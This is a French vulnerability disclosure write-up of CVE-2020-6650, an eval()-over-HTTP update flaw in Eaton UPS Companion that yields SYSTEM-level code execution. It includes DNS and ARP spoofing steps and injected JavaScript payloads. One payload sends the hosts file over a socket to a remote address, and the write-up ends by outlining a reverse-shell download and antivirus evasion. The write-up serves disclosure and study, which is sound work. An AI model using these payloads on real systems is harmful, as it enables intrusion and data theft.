
Ce référentiel détaille la CVE-2020-6650, une vulnérabilité que j'ai découverte dans l'UPS Companion d'Eaton. Tous les utilisateurs doivent immédiatement passer à la version 1.06, sinon ils risquent un accès administrateur à distance à leur système.
Le logiciel Eaton UPS Companion vérifie chaque semaine la présence d'une mise à jour via une connexion HTTP non sécurisée et exécute eval() sur le contenu de l'URL de mise à jour. Cela permet à un attaquant de créer une fonction JavaScript qui utilise les opérations bas niveau du système d'exploitation déjà présentes dans le logiciel backend, comme l'exécution de fichiers, les sockets réseau et les E/S du système de fichiers. Toutes ces opérations se produisent avec les privilèges NT AUTHORITY\SYSTEM, probablement en raison des permissions nécessaires à un onduleur (UPS) pour la gestion du système. Après une attente, une injection de commande automatique accordant un shell SYSTEM se produit sans effort.
Ce problème a été corrigé dans la version 1.06 et l'identifiant CVE attribué est CVE-2020-6650.
| Bug remarqué | 2019/10/25 - 21:43 |
| Exploit réalisé | 2019/12/28 - 06:28 |
| Signalé à Eaton | 2019/12/28 - 10:00 |
| Accusé de réception | 2019/12/30 - 22:05 |
| Simple PoC envoyé | 2020/01/04 - 03:32 |
| En cours de correction | 2020/01/21 - 12:54 |
| Corrigé | 2020/03/21 - 12:21 |
Merci à Eaton d'avoir simplifié la divulgation de cet exploit.
Eaton UPS Companion reçoit les mises à jour depuis http://pqsoftware.eaton.com/upgrade/upgrade_euc.info
Problème 1 : Peut être facilement usurpé via arpspoof et dnsspoof de dsniff, puis python -m http.server 80.
Problème 2 : L'absence de HTTPS ouvre un autre vecteur d'attaque pour le même effet.
Au 2019/10/25 - 22:08, voici le contenu du lien :
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
"EUC":
{
"WINDOWS":
{
"version": "1.04.017",
"packageURL": "install/win32/euc/euc_win_1_04_017.exe",
"info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
}
}
}
Je n'arrive pas à comprendre comment la somme de contrôle SHA1 du fichier est calculée ni ce qui est utilisé pour la calculer, mais le faire rendrait cela beaucoup plus simple.
Eaton UPS Companion crée un serveur HTTP local à http://localhost:4679.
Cliquer sur « Version: Eaton UPS Companion v1.05 » ouvre un journal de débogage « caché » à http://localhost:4679/trace.html.
Il peut également être ouvert via « .\mc2.exe -start -debug » dans cmd.exe
Servir une page HTML vide provoque une erreur importante qui est enregistrée :
2019/10/25-21:32:29.051 | UpdateManager | !!! ERROR: Update data could not be parsed:
{
"message": "syntax error",
"fileName": "scripts/libs/json.js",
"lineNumber": 122,
"stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
"name": "SyntaxError"
}
eval() est utilisé ici, ce qui nous facilite la tâche. Voici un exemple de manipulation de l'interface utilisateur, où le contenu ci-dessous va dans update_euc.info.
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})
Cela peut être transformé en une fonction appropriée grâce aux fonctions anonymes :
(function() {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()
Je pense qu'il peut également y avoir accès à ShutdownManager, ce qui n'est pas bon.
Aller sur http://localhost:4679/server/data_srv.js?action=init révèle plus d'informations sur le fonctionnement du système.
Les fonctions JS classiques comme alert() n'existent pas et les objets comme document, console et object n'existent pas non plus.
Édition très ancienne d'ECMAScript ou quelque chose du genre ? Pas de mot-clé let non plus, seulement var.
Cela pourrait aider :
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});
Je peux voir toutes les propriétés des objets « manager » par exemple UpdateManager via :
(function() {
for (var property in UpdateManager) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
}
})()
En faisant cela sur UpdateManager, j'ai trouvé ces fonctions très intéressantes :
selfUpdate IS function () {\n var packagePath = UpdateManager.retrievePackage();\n if (packagePath) {\n ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n }\n}
retrievePackage IS function () {\n var updateLocation = UpdateManager.updateLocation;\n if (!UpdateManager.updateData) {\n UpdateManager.checkForUpgrade();\n }\n if (!UpdateManager.updateData.packageURL) {\n error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n return false;\n }\n var packageURL = UpdateManager.updateData.packageURL;\n var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n File.createPath(UpdateManager.outputPath);\n if (File.status(packagePath)) {\n debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n return packagePath;\n }\n debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n var client = new HTTPClient(updateLocation);\n var response = client.get(packageURL);\n if (response && response.status == 200) {\n debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n try {\n File.put(packagePath, response.data);\n debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n return packagePath;\n } catch (e) {\n error(\"Failed to save update package at '?'\", packagePath);\n }\n } else {\n debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n }\n return false;\n}
Cela permet de démontrer que nous pouvons causer des problèmes :
(function() {
if (System.getAdminRights()) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
}
})()
Il y a d'autres appels de fonctions utiles comme File.get("C:\\Windows\\System32\\drivers\\etc\\hosts") qui déverse le contenu du fichier hosts dans une chaîne, mais uniquement en interne. Après avoir fouillé les propriétés de l'objet HTTPClient, il existe une autre classe d'objet qui permet de créer des sockets.
Par exemple, pour recevoir le fichier hosts :
(function() {
var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
var s = new Socket("tcp");
s.connect("192.168.1.???", 44444);
s.send(hosts);
s.close;
}
})()
Finalement, j'ai découvert comment fonctionne System.open(<file>, <args>), qui exécute un fichier. À partir de là, il suffit de télécharger un reverse shell, de faire taire toute solution antivirus (car nous avons les privilèges SYSTEM), et d'obtenir un reverse shell.